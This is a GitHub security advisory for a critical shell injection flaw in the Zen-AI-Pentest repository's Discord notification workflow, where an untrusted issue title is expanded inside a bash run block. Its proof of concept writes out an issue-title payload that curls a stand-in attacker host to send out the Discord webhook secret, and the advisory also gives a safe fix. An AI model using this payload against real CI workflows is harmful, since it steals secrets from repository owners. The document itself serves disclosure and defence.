Skip to content

Zen-AI-Pentest has Shell Injection via untrusted issue title in ZenClaw Discord Integration workflow

Critical severity GitHub Reviewed Published Mar 20, 2026 in SHAdd0WTAka/Zen-Ai-Pentest • Updated Mar 20, 2026

Package

actions SHAdd0WTAka/Zen-Ai-Pentest (GitHub Actions)

Affected versions

<= 3.0.0

Patched versions

None

Description

Summary

The ZenClaw Discord Integration GitHub Actions workflow is vulnerable to shell command injection. The issue title field, controllable by any GitHub user, is interpolated directly into a run shell block via a GitHub Actions template expression. An attacker can craft an issue title containing a subshell expression that executes arbitrary commands on the runner during variable assignment, enabling exfiltration of the DISCORD_WEBHOOK_URL secret. The trigger requires no repository privileges.

Affected Component

File: .github/workflows/zenclaw-discord.yml
Commit: 07e65c72656a8213fc9ece2b3f4fc719032cfc5d
URL: https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/blob/07e65c72656a8213fc9ece2b3f4fc719032cfc5d/.github/workflows/zenclaw-discord.yml
Step: Prepare Notification
Trigger: issues: [opened] — no repository privileges required


Description

In the Prepare Notification step, the issue title is assigned to a shell variable using direct GitHub Actions template interpolation inside a case block:

issues)
  ...
  DESCRIPTION="${{ github.event.issue.title }}"
  ;;

The GitHub Actions template engine resolves ${{ github.event.issue.title }} at workflow compilation time, embedding the raw issue title as literal text in the bash script before execution. The value is assigned inside a double-quoted string, which in bash evaluates subshell expressions of the form $(...) and backtick expressions `...` at runtime.

Although a subsequent sanitization step is applied:

DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000)

This sanitization runs after the assignment — the subshell in the title has already executed by the time tr and cut process the output. The sanitization is therefore ineffective as a security control against command injection.

The resulting DESCRIPTION value is then written to $GITHUB_OUTPUT:

echo "description=$DESCRIPTION" >> $GITHUB_OUTPUT

This additional write is performed without a multiline-safe delimiter, enabling a secondary $GITHUB_OUTPUT injection if the title contains a newline, which could overwrite downstream output variables such as color or title.


Attack Vector

  1. Any GitHub user (no repository role required) opens an issue with a malicious title.
  2. The issues: opened trigger fires automatically — no human interaction or approval needed.
  3. The subshell expression in the title executes during variable assignment in the Prepare Notification step.
  4. The injected command runs with access to all secrets available to the runner.

Proof of Concept

An attacker opens an issue with the following title:

bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")

The rendered bash assignment becomes:

DESCRIPTION="bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")"

The subshell executes during assignment, sending the base64-encoded DISCORD_WEBHOOK_URL to the attacker's server before the sanitization step runs. The attacker can then use the stolen webhook URL to send arbitrary messages to the Discord channel impersonating the legitimate bot.


Impact

  • Confidentiality (High): Exfiltration of DISCORD_WEBHOOK_URL, granting the attacker the ability to send arbitrary messages to the Discord channel indefinitely, impersonating the ZenClaw bot.
  • Integrity (High): With the webhook URL, an attacker can post false security alerts, fake workflow failure notifications, or misleading status updates to the Discord channel, potentially causing incident response actions based on fabricated data.
  • Availability (None): No direct availability impact.

Recommended Fix

Pass all user-controlled event fields as environment variables and reference them via shell variables in the run block. Never use ${{ }} expressions inside run blocks for user-controlled data.

Vulnerable pattern:

run: |
  DESCRIPTION="${{ github.event.issue.title }}"

Safe pattern — declare in env:, reference as shell variable:

- name: Prepare Notification
  id: prep
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    COMMIT_MSG: ${{ github.event.head_commit.message }}
    WORKFLOW_NAME: ${{ github.event.workflow_run.name }}
    DISPATCH_MSG: ${{ github.event.inputs.message }}
    EVENT_ACTION: ${{ github.event.action }}
    WORKFLOW_CONCLUSION: ${{ github.event.workflow_run.conclusion }}
  run: |
    case "$EVENT" in
      issues)
        DESCRIPTION="$ISSUE_TITLE"
        ;;
      ...
    esac
    DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000)

With values passed through env:, the Actions engine sets them as environment variables before the shell starts. Shell variable references ($ISSUE_TITLE) are expanded by bash at runtime without executing subshell expressions embedded in the value.


References

References

@SHAdd0WTAka SHAdd0WTAka published to SHAdd0WTAka/Zen-Ai-Pentest Mar 20, 2026
Published to the GitHub Advisory Database Mar 20, 2026
Reviewed Mar 20, 2026
Last updated Mar 20, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-f67f-hcr6-94mf

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.